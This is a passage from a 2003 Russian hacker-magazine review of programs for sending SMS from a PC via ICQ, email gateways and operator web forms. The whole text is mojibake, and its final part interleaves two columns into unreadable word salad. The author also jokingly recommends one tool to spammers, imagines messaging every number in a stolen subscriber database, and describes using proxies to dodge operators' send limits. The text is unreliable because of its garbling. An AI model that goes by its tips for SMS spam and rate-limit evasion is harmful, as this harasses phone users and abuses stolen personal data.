Äëÿ íåïðèõîòëèâûõ ýñòåòîâ ëó÷øèì ïîäàðêîì<br />
ïî ïðàâó ñòàíåò DiFolders. Åñëè ïîïðîñèòü êàê ñëåäóåò,<br />
îí çàãîâîðèò íà ðóññêîì ÿçûêå. Èíòåðôåéñ ïðîäóìàí<br />
äî ìåëî÷åé, ïîýòîìó ðàáîòàòü ñ íèì ëåãêî è ïðîöåññ<br />
îáó÷åíèÿ íå ïðîäëèòñÿ äîëüøå ïÿòè-øåñòè ìèíóò.<br />
FolderWatch - äîáðîòíàÿ àëüòåðíàòèâà.<br />
Ïîíèìàë áû îí ìàêðîñû - öåíû<br />
áû åìó íå áûëî. È ïîòîì, ó íåãî<br />
åñòü ïàðà èíòåðåñíûõ îñîáåííîñòåé,<br />
êîòîðûå ìîãóò ïðèâëå÷ü<br />
òåáÿ áîëüøå, íåæåëè %htmltitle% è<br />
ìîäåðíîâûå èêîíêè. Òîëüêî ïîìíè,<br />
Íåî, "There is no splash screen!".<br />
Äëÿ ñàìûõ òðåáîâàòåëüíûõ òîâàðèùåé<br />
îäèí õîðîøèé ÷åëîâåê ïðèäóìàë<br />
ïðîãðàììó LogMon. Ïî-ðóññêè<br />
îíà ïîíèìàåò íå õóæå àâòîðà, òàê<br />
÷òî åñëè òåáÿ íå ïóãàåò áåçóìíîå<br />
êîëè÷åñòâî ïàðàìåòðîâ ýòîãî ìîíèòîðà<br />
- äåðçàé. Êñòàòè, ÿ íå çàáûë<br />
ñêàçàòü î òîì, ÷òî ýòî åäèíñòâåííàÿ<br />
áåñïëàòíàÿ óòèëèòà âî<br />
âñåì îáçîðå Ñóäÿ ïî âñåìó, íå<br />
çàáûë. Ðåøàé ñàì. Â ëþáîì ñëó-<br />
÷àå, êàêîé áû<br />
ïðîãîé òû íè<br />
âîñïîëüçîâàëñÿ,<br />
ïîðÿäêà â òâîèõ<br />
êàòàëîãàõ, íåñîìíåííî,<br />
ñòàíåò<br />
áîëüøå. Ýòî<br />
ÿ ìîãó òåáå ãàðàíòèðîâàòü!<br />
30 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
PC_Zone<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
SPAM MESSAGE SYSTEM<br />
Skylord ÑÀÌ ÑÅÁÅ (sky_lord@mail.ru)<br />
ÈÌÈÒÀÒÎÐ<br />
SPAM<br />
MESSAGE<br />
SYSTEM<br />
ÑÎÔÒ ÄËß ÎÒÏÐÀÂÊÈ ÑÎÎÁÙÅÍÈÉ ÍÀ ÌÎÁÈËÜÍÛÅ ÒÅËÅÔÎÍÛ<br />
Ëþáèøü îáìåíèâàòüñÿ SMS'êàìè Åùå áû! À êòî íå ëþáèò! Áûñòðî, óäîáíî: õîòü ñâèäàíèÿ íàçíà÷àé, õîòü øïàðãàëêè íà<br />
ýêçàìåíå ïåðåäàâàé... Âîò òîëüêî â òèõîé äîìàøíåé îáñòàíîâêå íå ñ ðóêè íàáèâàòü ìåññàãè íà ìåëêîé òåëåôîííîé êëàâèàòóðå.<br />
Òàê âåäü, â ïðèíöèïå, è íå íàäî! Õî÷åøü îòïðàâëÿòü ñîîáùåíèÿ áåñïëàòíî è â êîìôîðòíûõ óñëîâèÿõ Òîãäà<br />
ïðîñòî ñàäèñü çà ëþáèìûé êîìïüþòåð, ïîäêëþ÷àéñÿ ê Ñåòè è çàíèìàéñÿ SMS-ñïàìîì, âîîáùå íå ïðèêàñàÿñü ê ìîáèëå.<br />
<br />
Íà÷èíàëîñü (äà, â îáùåì-òî, ïðîäîëæàåòñÿ è ïî ñåé<br />
äåíü) âñå ñ êóöûõ ôîðìî÷åê íà ñàéòàõ îïåðàòîðîâ äëÿ<br />
îòïðàâêè ñîîáùåíèé èç èíòåðíåòà. Êîíå÷íî, òû ñàì çíàåøü<br />
ïðî íèõ è íåîäíîêðàòíî èìè ïîëüçîâàëñÿ, òåì áîëåå<br />
÷òî â ïîñëåäíåå âðåìÿ îíè ðàáîòàþò çíà÷èòåëüíî ëó÷øå,<br />
÷åì ðàíüøå, êîãäà ìåññàãè ëèáî âîîáùå íå äîõîäèëè,<br />
ëèáî äîõîäèëè ñ áîëüøèì îïîçäàíèåì. Íî âñå ðàâíî îòïðàâêà<br />
ñ ñàéòà ñâÿçàíà ñ êó÷åé íåóäîáñòâ, äà è ñàì ôàêò<br />
òîãî, ÷òî ïðèäåòñÿ ïåðåòüñÿ íà ñòðàíèöó íóæíîãî îïåðàòîðà,<br />
ìàëî ðàäóåò...<br />
Ïîýòîìó (äà è íå òîëüêî ïîýòîìó) è ïîÿâèëèñü ïðîãðàììû,<br />
ñ ïîìîùüþ êîòîðûõ òû, åñòåñòâåííî òîæå ÷åðåç<br />
èíòåðíåò, èìååøü âîçìîæíîñòü ðåàëèçîâàòü ñåáÿ â<br />
êà÷åñòâå òåëåôîííîãî ñïàìåðà, íó èëè íà õóäîé êîíåö<br />
íàïèñàòü ëþáèìîìó (èëè íåëþáèìîìó) ñóùåñòâó ïðîòèâîïîëîæíîãî<br />
ïîëà ñàêðàìåíòàëüíîå "Privet!".<br />
Ïðàâäà, õîòÿ òàêèõ ïðîã íàïëîäèëè âåëèêîå ìíîæåñòâî,<br />
äåéñòâèòåëüíî ðàáîòàþò äàëåêî íå âñå. Ê ïðèìåðó, íà<br />
JavaSMS – èçâðàùåíèå äëÿ ýñòåòîâ :)<br />
ïðîñòîðàõ íàøåé íåîáúÿòíîé Ðîäèíû ñîâåðøåííî áåñïîëåçåí<br />
ðàçíîîáðàçíûé çàáóãîðíûé ñîôò: îáû÷íî îí íå<br />
ïðèñïîñîáëåí ê íàøèì îïåðàòîðàì è íå èìååò íè ìàëåéøåãî<br />
ïîíÿòèÿ î ñóùåñòâîâàíèè ðóññêîãî ÿçûêà. À âåäü<br />
êàê õî÷åòñÿ ïîëó÷èòü íà òåëåôîí âûøåóïîìÿíóòóþ ñàêðàìåíòàëüíóþ<br />
ôðàçó, íà÷åðòàííóþ áóêâàìè ìèëîé ñåðäöó<br />
êèðèëëèöû! :) Âïðî÷åì, ïî ðàçíûì ïðè÷èíàì àäåêâàòíî<br />
ðàáîòàòü ñ ðóññêèì ÿçûêîì íå âñåãäà ïîëó÷àåòñÿ è ó îòå-<br />
÷åñòâåííîãî ñîôòà.<br />
Ñ äðóãîé ñòîðîíû, ñðåäè ôðèâàðíûõ "íàøèõ" ïðîã îòñóòñòâóþò<br />
ñêîëü-íèáóäü ñåðüåçíûå îðãàíàéçåðû è ïëàíèðîâùèêè,<br />
ïîçâîëÿþùèå èñïîëüçîâàòü SMS íå òîëüêî<br />
äëÿ ðàçâëå÷åíèÿ, íî è ïî äåëó - ñêàæåì, äëÿ ìàññîâîé<br />
ðàññûëêè ñîòðóäíèêàì Òâîåé Ôèðìû ðàçíîãî ðîäà öåííûõ<br />
óêàçàíèé. Íî, åñëè îòêðîâåííî, òî ñ ýòèì ñïðàâèòñÿ<br />
ëþáîé îáû÷íûé ïëàíèðîâùèê, åñëè ê íåìó ïðèêðóòèòü<br />
íóæíóþ óòèëèòó (êàêóþ èìåííî, ÿ ðàññêàæó ÷óòü íèæå).<br />
À òåïåðü - áëèæå ê äåëó. Äàâàé âîçüìåì â ñâîè ìîçîëèñòûå<br />
ëàïû è êàê ñëåäóåò ïîùóïàåì ëó÷øèõ ïðåäñòàâèòåëåé<br />
íàøåãî SMS-ñîôòà.<br />
32 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
Îïåðàòîð îïåðàòîðó ðîçíü!<br />
Âåñü ñîôò òåñòèðîâàëñÿ íà ìîñêîâñêèõ GSM-ÎïÑîÑàõ è ïî ðåçóëüòàòàì ó ìåíÿ ñëîæèëîñü âïå÷àòëåíèå, ÷òî áîëüøå âñåãî äëÿ "êîìïüþòåðíûõ" SMS ïðèñïîñîáëåíà ÌÒÑ: ó<br />
íåå îïåðàòèâíî ðàáîòàåò è ôîðìà íà ñàéòå, è äîñòàâêà ïî Àñüêå. Äî ÁèËàéíà è äî ÌåãàÔîíà ó ìåíÿ íå äîõîäèëè ìåññàãè èç ICQ, õîòÿ ýòî è áûëî îáåùàíî íà îôèöèàëüíîì<br />
ñàéòå. À ó Ìåãè ê òîìó æå ïåðèîäè÷åñêè ïî íåñêîëüêó äíåé íå ðàáîòàåò ôîðìà äëÿ îòïðàâêè ñ ñàéòà (íî çàòî êîãäà ðàáîòàåò, òî áåç ïðîáëåì).<br />
Ðàçóìååòñÿ, â äðóãèõ ãîðîäàõ âñå ìîæåò áûòü ñîâåðøåííî èíà÷å (âçÿòü õîòÿ áû Ïèòåð, ãäå, íàîáîðîò, ÌÒÑ åùå íàáèðàåò ñèëû, à ÌåãàÔîí - ðâåò è ìå÷åò). Ìíîãèå îïåðàòîðû<br />
â ðåãèîíàõ èìåþò ñâîè, îòëè÷íî ðàáîòàþùèå E-mail-To-SMS-ãåéòû, äåìîíñòðèðóÿ çàáîòó î êëèåíòàõ.<br />
Êàê âñå ýòî ðàáîòàåò<br />
Ñóùåñòâóåò òðè îñíîâíûõ ñïîñîáà äîñòàâêè SMS èç Ñåòè<br />
íà ìîáèëüíèê.<br />
òàêæå êíîïêà "Îòïðàâèòü". Íó, ðàçâå íå ïðåëåñòü Èäåàëîì<br />
ñðåäè ïîäîáíûõ ïðîãðàìì ëè÷íî ÿ ñ÷èòàþ ICQ<br />
SMS Sender v2.14 by Dr. Gonzo.<br />
ICQ SMS Sender<br />
Îäíà èç ïåðâûõ ïðîãðàìì äëÿ äîñòàâêè SMS<br />
(÷åðåç Email-ãåéòû)<br />
Âî-ïåðâûõ, ÷åðåç Email-ãåéòû. Ýòîò ñïîñîá áûë ïîïóëÿðåí<br />
íåñêîëüêî ëåò íàçàä è äåéñòâîâàë î÷åíü ïðîñòî:<br />
øëåøü ìûëî, äîïóñòèì, íà àäðåñ<br />
70957849147@sms.gate.ru è îíî, òðàíñôîðìèðîâàâøèñü<br />
â SMS'êó, ïîïàäàåò ê îáëàäàòåëþ ñîîòâåòñòâóþùåãî<br />
íîìåðà. Îäíàêî òàêàÿ õàëÿâà ïðîäîëæàëàñü íåäîëãî.<br />
×àñòü ãåéòîâ òèõî óìåðëà, à íà äðóãèõ ñêàçàëîñü<br />
òëåòâîðíîå âëèÿíèå Çàïàäà è òÿãà èõ âëàäåëüöåâ ê ëåãêîé<br />
íàæèâå, òàê ÷òî ãåéòû ëèáî ðåçêî ñòàëè ïëàòíûìè,<br />
ëèáî íà÷àëè ïðèïëþñîâûâàòü ê ñîîáùåíèÿì êó÷ó ðåêëàìû.<br />
Åñòåñòâåííî, ôðèâàðíûå ïðîãè â èòîãå íå ðàáîòàþò,<br />
à èñïîëüçóþùèå ïëàòíûå ãåéòû (íàïðèìåð, ïî÷òè<br />
âåñü çàðóáåæíûé ñîôò) - íàñòîé÷èâî õîòÿò äåíåã, ÷òî<br />
ñâîäèò âñþ ïîëüçó îò íèõ ïî÷òè ê íóëþ.<br />
Âîîáùå æå, îòëè÷èòü ñîôò, çàâÿçàííûé íà ãåéòû, îáû÷íî<br />
ìîæíî ïî íåîáõîäèìîñòè óêàçûâàòü â íàñòðîéêàõ<br />
àäðåñ ïî÷òîâîãî SMTP-ñåðâåðà.<br />
Íó, êòî íå âèäåë ýòîé ñòðàíèöû<br />
Äåøåâî è ñåðäèòî...<br />
ÎÑ: WinAll<br />
Ðàçìåð: 176 Êá.<br />
Ëèöåíçèÿ: Freeware<br />
Ñàéò: http://drgonzo.nm.ru<br />
Ðàáîòàåò ïðîãà, êàê ñëåäóåò èç íàçâàíèÿ, ÷åðåç SMS<br />
ñåðâèñ Àñüêè. Âñå ïðîñòî è ïîíÿòíî áåç îáúÿñíåíèé: â<br />
ôàéëå isms.ini ïðîïèñûâàåøü ñâîé UIN è ïàðîëü ê íåìó<br />
(ëó÷øå, âî èçáåæàíèå ïðîáëåì, çàâåñòè äëÿ ýòîãî äåëà<br />
îòäåëüíûé íîìåðîê), ïîòîì çàïóñêàåøü ïðîãó è ìîæåøü<br />
ðàáîòàòü. Äîñòàòî÷íî ââåñòè íîìåð â ìåæäóíàðîäíîì<br />
ôîðìàòå (íó êàê îáû÷íî +7... è òàê äàëåå),<br />
òåêñò ìåññàãè è íàæàòü "Îòïðàâèòü". Ïðîãà áûñòðî êîííåêòèòñÿ<br />
ê ñåðâåðó, ïîñûëàåò ñîîáùåíèå è îòñîåäèíÿåòñÿ.<br />
Åñëè ñîáèðàåøüñÿ êèäàòü áîëüøå îäíîé SMS'êè<br />
çà îäèí ðàç, òî âûáåðè "ãàëî÷êó" "Îñòàòüñÿ â îíëàéíå",<br />
÷òîáû íå ïðèõîäèëîñü äåðãàòü ñåðâåð Àñüêè êàæäûå<br />
ïîëìèíóòû. Âñå! Íèêàêèõ çàìîðî÷åê, íèêàêèõ íåíóæíûõ<br />
êíîïîê... Ìèíèìàëèçì è äîñòóïíîñòü ðóëÿò!<br />
ICQ SMS Sender âî âñåé ñâîåé êðàñå<br />
SMS ÷åðåç Àñüêó<br />
Âòîðîé ñïîñîá - ýòî îòïðàâêà SMS ñîîòâåòñòâóþùèì<br />
ñåðâèñîì ICQ. Òàêàÿ ôèøêà ïîÿâèëàñü â Àñüêå áóêâàëüíî<br />
ïàðó ëåò íàçàä è, íà ìîé âçãëÿä, ÿâëÿåòñÿ òåì âàðèàíòîì,<br />
êîòîðûé óñòðîèò áîëüøèíñòâî þçåðîâ. Èç îñíîâíûõ<br />
ïëþñîâ: íå òðåáóåòñÿ íèêàêèõ ëèøíèõ ïðîã, íå<br />
íàäî óêàçûâàòü îïåðàòîðà àäðåñàòà, äà è ðàáîòàåò âñå<br />
ýòî î÷åíü áûñòðî. Êñòàòè, äàííûé ñåðâèñ ïîääåðæèâàåòñÿ<br />
êðîìå Àñüêè åùå è àëüòåðíàòèâíûìè êëèåíòàìè -<br />
ñêàæåì, Trillian'îì èëè ìîåé ëþáèìîé Miranda'îé.<br />
Òðåòèé ñïîñîá - âàðèàöèÿ íà òåìó SMS-ôîðì íà ñàéòàõ<br />
Ïûòàåòñÿ ðàáîòàòü ÷åðåç SNPP, äà åùå è äåíåã<br />
õî÷åò. Óæàñ!<br />
îïåðàòîðîâ. Ïðîãðàììû ôàêòè÷åñêè çàïîëíÿþò ñîîòâåòñòâóþùèå<br />
ïîëÿ è îòñûëàþò "êàê áû çàïîëíåííóþ"<br />
ôîðìó íà web-óçåë. Äîñòîèíñòâî ýòîãî ìåòîäà â òîì,<br />
÷òî äîñòàâêà çàâèñèò ëèøü îò ñàìèõ îïåðàòîðîâ. Íåäîñòàòêè<br />
æå î÷åâèäíû: íàäî âûáèðàòü äëÿ êàæäîãî íîìåðà<br />
òåëåôîíà ñîîòâåòñòâóþùåãî ÎïÑîÑà, ïðîãðàììà<br />
äîëæíà çíàòü ïàðàìåòðû åãî ñòðàíèöû, äà ê òîìó æå<br />
ïðè òàêîì ñïîñîáå äåéñòâóþò âñå îãðàíè÷åíèÿ, íàëîæåííûå<br />
çëîáíûìè îïåðàòîðñêèìè àäìèíàìè: íàïðèìåð,<br />
ìîñêîâñêàÿ ÌÒÑ (äà è ÁèËàéí òîæå...) íå ïîçâîëÿåò<br />
îòñûëàòü ñîîáùåíèÿ ÷àùå ðàçà â ìèíóòó.<br />
Êðîìå òðåõ ïåðå÷èñëåííûõ èìåþòñÿ è äðóãèå âàðèàíòû:<br />
îòïðàâêà ÷åðåç UCP, ÷åðåç TAP èëè ïî ïðîòîêîëó<br />
SNPP - ó íàñ îíè íå ïîääåðæèâàþòñÿ, à ïîòîìó íåò è<br />
ïðîãðàìì íà èõ îñíîâå (à åñëè åñòü, òî îíè îáû÷íî íå<br />
ðàáîòàþò).<br />
<br />
Åñëè íå õî÷åòñÿ âîçèòüñÿ ñ íàñòðîéêàìè, à íóæíî áûñòðî<br />
è áåç çàòåé îòïðàâèòü SMS, òî ëó÷øå âñåãî èñïîëüçîâàòü<br />
ïðîñòåéøèå ñîôòèíû â ñòèëå "îêíî ñ êíîïêîé".<br />
 îáû÷íî íèõ íåò íè÷åãî, ÷òî ìîæåò îòâëå÷ü òåáÿ îò<br />
òâîð÷åñêîãî ïðîöåññà íàïèñàíèÿ SMS’êè: èìåþòñÿ<br />
ëèøü ïîëÿ äëÿ ââîäà ñîîáùåíèÿ è íîìåðà òåëåôîíà, à<br />
Ñðåäè äðóãèõ ïðîñòåíüêèõ óòèëèò õîòåëîñü áû åùå îòìåòèòü<br />
The Bee v1.06 by AV(T).<br />
The Bee<br />
ÎÑ: WinAll<br />
Ðàçìåð: 410 Êá.<br />
Ëèöåíçèÿ: Freeware<br />
Ñàéò: http://www.avtlab.ru<br />
Îíà ìíîãîôóíêöèîíàëüíà è ïðåäíàçíà÷åíà äëÿ òîãî,<br />
÷òîáû èìåòü â îäíîì íåáîëüøîì "ôëàêîíå", óìåùàþùåìñÿ<br />
íà äèñêåòó, ïîëíûé íàáîð ñåðâèñîâ äëÿ ðàáîòû<br />
ñ e-mail, newsgroups, ICQ. Ïîñëåäíèé êàê ðàç è äàåò<br />
íàì âîçìîæíîñòü ðàáîòàòü ñ SMS.<br />
Íàñòðîéêà ïðîãè ïðîñòà: çàïóñêàåøü, ñðàçó ïîÿâëÿåòñÿ<br />
îêíî ñ ó÷åòíûìè çàïèñÿìè - æìåøü<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 33
PC_Zone<br />
ÕÀÊÅÐ\¹51\Ìàé\2003<br />
SPAM MESSAGE SYSTEM<br />
Skylord (sky_lord@mail.ru)<br />
Íåáîëüøèå ïðîãðàììêè äëÿ îòïðàâêè<br />
SMS<br />
1. SMS Sender v1.0beta by DNK_Core. Åùå îäíà íåáîëüøàÿ<br />
ñîôòèíà äëÿ ðàáîòû ñ SMS ÷åðåç Àñüêó.<br />
http://smscm.narod.ru<br />
2. MegaFon Moscow SMS Sender v1.0.74 by Nesterov<br />
Eugene. Ïðîñòåíüêàÿ óòèëèòà äëÿ äîñòàâêè SMS àáîíåíòàì<br />
ìîñêîâñêîãî ÌåãàÔîíà ÷åðåç ôîðìó íà ñàéòå.<br />
http://www.mxn.by.ru<br />
âíèçó íà êíîïêó ñî çíàêîìûì çåëåíûì öâåòî÷êîì, êàê<br />
îáû÷íî ïðîïèñûâàåøü ñâîè UIN ñ ïàðîëåì è äàâèøü íà<br />
"OK". Òåïåðü, âûáðàâ "ICQ" â âåðõíåì êíîïî÷íîì ìåíþ<br />
è ïîäêëþ÷èâøèñü ê ñåðâåðó, òû ìîæåøü îòñûëàòü SMS.<br />
Íîìåð òåëåôîíà ïèøè â ïîëå "Ñîîáùåíèå äëÿ" ïî ïðàâèëàì<br />
ICQ SMS Sender. Îáèäíî, ÷òî òåêñò ìåññàãè íå<br />
áóäåò ñàì äåëèòüñÿ ÷àñòè, åñëè åãî ðàçìåð ïðåâûøàåò<br />
The Bee - ìàëåíüêèé, íî ìîùíûé<br />
ñòàíäàðòíûå 160 ñèìâîëîâ... Çàòî åñòü àâòîìàòè÷åñêàÿ<br />
òðàíñëèòåðàöèÿ.<br />
Ïðîãðàììà íè÷åãî íå ìåíÿåò â ðååñòðå, à ñîõðàíÿåò<br />
âñå ïàðàìåòðû â ini-ôàéëå, òàê ÷òî åå äåéñòâèòåëüíî<br />
ìîæíî áåçáîëåçíåííî âñåãäà íîñèòü ñ ñîáîé.<br />
<br />
Åñëè ñêðîìíîñòü è ìèíèìàëèçì òåáÿ óæå íå óñòðàèâàþò,<br />
òî ïåðåõîäè ê áîëåå ñåðüåçíûì âàðèàíòàì, ó êîòîðûõ<br />
õîòÿ áû íàëè÷åñòâóåò àäðåñíàÿ êíèãà è êàê ìèíèìóì íåêîòîðûå<br />
ôóíêöèè àäìèíèñòðèðîâàíèÿ. Òàêîãî ñîôòà, êàê<br />
íè ñòðàííî, äàæå áîëüøå, ÷åì ïðèìèòèâíîãî.<br />
Ïî ìîåìó ñêðîìíîìó ìíåíèþ, êîòîðîå, êñòàòè, ïîääåðæèâàåò<br />
áîëüøèíñòâî ïîëüçîâàòåëåé Ñåòè, îäíîé èç<br />
ëó÷øèõ "ñåðüåçíûõ" ïðîãðàìì ÿâëÿåòñÿ SMS<br />
Communicator v4.2B by Ilya Zaitcev (SMSep Software).<br />
SMS Communicator<br />
ÎÑ: WinAll<br />
Ðàçìåð: 750 Êá.<br />
Ëèöåíçèÿ: Shareware<br />
Ñàéò: http://www.smsep.com<br />
Êîììóíèêàòîð èñïîëüçóåò ìåòîä äîñòàâêè SMS ÷åðåç<br />
ôîðìû íà ñîîòâåòñòâóþùèõ ñàéòàõ. Ïàðàìåòðû îïåðàòîðîâ<br />
õðàíÿòñÿ â ñïåöèàëüíûõ ïëàãèíàõ, ÷òî äàåò âîçìîæíîñòü<br />
áåçáîëåçíåííîãî îáíîâëåíèÿ ïðîãðàììû.<br />
Ïðèÿòíî ðàäóåò àäðåñíàÿ êíèãà - îíà ïîääåðæèâàåò<br />
ãðóïïû ïîëüçîâàòåëåé è ïîçâîëÿåò òàñêàòü îòäåëüíûõ<br />
èõ ïðåäñòàâèòåëåé òóäà-ñþäà. Àäðåñàòàìè ñîîáùåíèÿ<br />
òîæå ìîãóò áûòü è îòäåëüíûå þçåðû, è öåëûå èõ ãðóïïû,<br />
÷òî îòêðûâàåò ñîâåðøåííî íîâûå ãîðèçîíòû. Òàê è<br />
ïðåäñòàâëÿþ ñåáå äëè-è-èííóþ ãðóïïó, êóäà âêëþ÷åíû<br />
âñå àáîíåíòû èç óêðàäåííîé áàçû ÌÒÑ, áëàãî, ÷òî ôîðìàò<br />
àäðåñíîé êíèãè ïðîñòîé, à ñîîòâåòñòâóþùèé êîíâåðòîð<br />
íå ñîñòàâèò òðóäà íàïèñàòü è ñàìîìó. Òàê ÷òî,<br />
SMS Communicator. Îïòèìàëüíûé âûáîð!<br />
ôàêòè÷åñêè, SMS Communicator<br />
- ýòî ïîäàðîê äëÿ ñïàìåðîâ... ;)<br />
Îãîð÷àåò îòñóòñòâèå "ãàëî÷åê" äëÿ îòïðàâêè ìåññàã íà<br />
ðóññêîì, íî çàòî åñòü øàáëîíû, êîòîðûå ïîìîãàþò, åñëè<br />
íàäî äåëàòü ïåðèîäè÷åñêóþ ðàññûëêó îäèíàêîâûõ<br />
ñîîáùåíèé. Íå õâàòàåò ëèøü ïëàíèðîâùèêà, íî, ìîæåò,<br />
è åãî êîãäà-íèáóäü íàïèøóò<br />
Åùå èíòåðåñíî òî, ÷òî âñå SMS ñòàíîâÿòñÿ â î÷åðåäü "íà<br />
îòïðàâêó" (ìåíþ "Ñîîáùåíèå" - "Î÷åðåäü" - "Ïðîñìîòð"),<br />
à åñëè êàêîå-òî ïîñëàòü íå óäàëîñü, òî îíî íå èñ÷åçàåò, à<br />
ïðîñòî ïåðåìåùàåòñÿ â êîíåö î÷åðåäè (ïàðàìåòð ðàçäåëà<br />
"Ïðè îøèáêàõ ïåðåñûëêè" îêíà îáùèõ íàñòðîåê). Çàìå÷àòåëüíûé<br />
ñïîñîá îáëåã÷èòü áðåìÿ îäíîìèíóòíîé ïàóçû<br />
ìåæäó ìåññàãàìè, îòïðàâëÿåìûìè ñ ñàéòîâ îïåðàòîðîâ!<br />
Ïîñòàâèë â î÷åðåäü ñîòíþ SMS'îê è èäè ÷èòàòü<br />
www.xakep.ru, ïîêà îíî òàì â ôîíå îòñûëàåòñÿ (ðåçóëüòàòû<br />
äîñòàâêè ìîæíî ïîòîì ïîñìîòðåòü â "Èñòîðèè")... Êðàñîòà!<br />
Èëè æå äåéñòâóåì áîëåå ýëåãàíòíî: çàñòàâëÿåì<br />
Êîììóíèêàòîðà êîííåêòèòüñÿ ê ñòðàíèöàì îïåðàòîðîâ ÷åðåç<br />
proxy-ñåðâåðû (ìîæåøü âïèñàòü ñêîëüêî óãîäíî -<br />
ïðîãà áóäåò èñïîëüçîâàòü èõ â ïðîèçâîëüíîì ïîðÿäêå).<br />
SMS Communicator - ñàì ñåáå ãåéò<br />
Ñåðüåçíûå ïðîãðàììû<br />
äëÿ îòïðàâêè SMS<br />
Ïðîáëåìà "îäíîé ìèíóòû" ðåøàåòñÿ ñ ïîëïèíêà!<br />
Íî è ýòî åùå íå âñå! SMS Communicator ïîçâîëÿåò îðãàíèçîâàòü<br />
ñâîé ïåðñîíàëüíûé ãåéò Email - SMS è íå<br />
îáðàùàòüñÿ çà ïîìîùüþ êî âñÿêèì ïëàòíûì ðåñóðñàì.<br />
Òû ìîæåøü íàñòðîèòü íåîãðàíè÷åííîå ÷èñëî ïî÷òîâûõ<br />
àêêàóíòîâ (ìåíþ "Âèä" - "Íàñòðîéêè ïî÷òû") è ôèëüòðîâ,<br />
â ñîîòâåòñòâèè ñ êîòîðûìè áóäóò âûïîëíÿòüñÿ ðàçëè÷íûå<br />
äåéñòâèÿ. Ïðè÷åì íàñòðàèâàåòñÿ âñå î÷åíü ãèáêî,<br />
è êðîìå ïðîñòîé ïåðåñûëêè ñåáå (èëè íå ñåáå) íà<br />
òåëåôîí ïîëó÷åííîé ïî÷òû, äîïóñêàåòñÿ, íàïðèìåð, âûïîëíÿòü<br />
âíåøíèå ïðèëîæåíèÿ â çàâèñèìîñòè îò íàëè÷èÿ<br />
êëþ÷åâûõ ñëîâ â ïîëÿõ çàãîëîâêà èëè òåëå ïèñüìà... Â<br />
îáùåì, âàðèàíòîâ ìíîãî - ïîèãðàòüñÿ åñòü ñ ÷åì.<br />
Êîíå÷íî, ïðîãðàììå åùå íå õâàòàåò íåêîòîðûõ ôóíêöèé,<br />
1. SMSTation íî è ñåé÷àñ v0.60b îíà ÿâëÿåòñÿ build 408 ëó÷øèì by Spaels. èíñòðóìåíòîì Îòëè÷íàÿ<br />
äëÿ ñîôòèíà, äîñòàâêè ïî SMS-ñîîáùåíèé. óäîáñòâó äàæå â ÷åì-òî  áåñïëàòíîé ïðåâîñõîäÿùàÿ âåðñèè<br />
äîñòóïíû SMS Communicator. âñå ôè÷è, íî Èíòåðôåéñ äàæå íåñìîòðÿ â ñòèëå íà ICQ, ýòî, àäðåñíàÿ<br />
êíèãà àâòîðó ñ èíäèâèäóàëüíûì 210 ðóáëåé, êîòîðûå ëîãîì îí äëÿ ïðîñèò êàæäîãî çà àáî-<br />
ðåãè-<br />
õî÷åòñÿ<br />
ïîñëàòü<br />
ñòðàöèþ... íåíòà, ïîääåðæêà Îíî, ÈÌÕÎ, ïëàãèíîâ òîãî ñòîèò. è àâòîîáíîâëåíèÿ, ðàáîòà<br />
èç êîìàíäíîé ñòðîêè... Åäèíñòâåííîå, ÷òî îáèäíî<br />
ñàéò ðàçðàáîò÷èêà ïåðååõàë, à íà<br />
íîâîì íåò íèêàêèõ óïîìèíàíèé îá SMSTation. Ñåé÷àñ<br />
Ïðèøëî ïðîãðàììó âðåìÿ ìîæíî ïîãîâîðèòü ñêà÷àòü, î íàïðèìåð, ïðîãðàììàõ, âîò êîòîðûå, çäåñü. èñïîëüçóÿ<br />
http://castlex.narod.ru/sms.rar<br />
SMS, ïîìîãóò òåáå ñóùåñòâåííî ïîâûñèòü<br />
SMStation. Ñêðîìíåíüêî, íî ñî âêóñîì<br />
ôóíêöèîíàëüíîñòü 2. SMS Express v1.3.8b òâîåãî by êîìïüþòåðà. Aleksey Potapovich. Ñèìïàòè÷íàÿ<br />
äåëîì ïðîãðàììêà. ïðåäëàãàþ Îòñûëàåò îáðàòèòü ÷åðåç ñâîé ôîðìû, áëàãîñêëîí-<br />
èìå-<br />
Ïåðâûì<br />
íûé åò âçîð àäðåñíóþ íà ñîôòèíó êíèãó è ïî âåäåò èìåíè ëîã CMD2SMS äîñòàâëåííûõ v.2.2 by Âàëåðèé<br />
SMS'îê. Äîìîæèðîâ.<br />
http://www.smsexpress.nm.ru<br />
CMD2SMS<br />
3. SMS Live v1.0build12 by SoloSOFT Studio. Ñêðîìíàÿ<br />
WinAll íà âèä - êîíñîëü íåñëîæíàÿ ïðîãðàììêà ñ àäðåñíîé êíè-<br />
ÎÑ:<br />
Ðàçìåð: ãîé... Îáèäíî, 440 Êá. ÷òî íå ïîääåðæèâàåò íèêîãî, êðîìå<br />
Ëèöåíçèÿ: ìîñêîâñêèõ Freeware ÌÒÑ è ÁèËàéí.<br />
Ñàéò: http://www.smsexpress.nm.ru<br />
http://www.myfreeware.narod.ru<br />
Çàíèìàåòñÿ 4. Text2Phone ýòîò v1.6.4 øåäåâð by ïðîãðàììèñòêîé Âàëåðèé Äîìîæèðîâ. ìûñëè, Óòèëèòà<br />
óæå, ïîñâÿùåíà íàâåðíîå, íå äîãàäàëñÿ, òîëüêî è íå îòïðàâêîé ñòîëüêî îòïðàâêå SMS èç SMS, êî-<br />
êàê<br />
òû<br />
ìàíäíîé íî è ñ ýòèì ñòðîêè. âïîëíå Èäåàëüíàÿ ñïðàâëÿåòñÿ. âåùü äëÿ Ìåòîäû ïðèêðó÷èâàíèÿ äîñòàâêè - ê<br />
äðóãèì ÷åðåç ïðîãðàììàì ôîðìû ñàéòîâ (îðãàíàéçåðàì îïåðàòîðîâ, ëèáî è óòèëèòàì, ÷åðåç ICQ. ïîäîáíûì<br />
Èìååòñÿ MotherBoardMonitor'ó) àäðåñíàÿ êíèãà ñ â âîçìîæíîñòüþ êà÷åñòâå «ñèãíàëüíîãî èìïîðòà ìîäóëÿ».<br />
èç ôàéëîâ Âåäü, CSV ñîãëàñèñü, (÷åãî òàê ïðèÿòíî íå õâàòàåò íàïîìíèòü SMS ñàìîìó ñåáå<br />
Communicator), SMS'êîé î òîì, è ÷òî âåäåòñÿ óæå ïîðà ëîã îòïðàâëåííûõ èäòè â èíñòèòóò, ìåññàã. èëè<br />
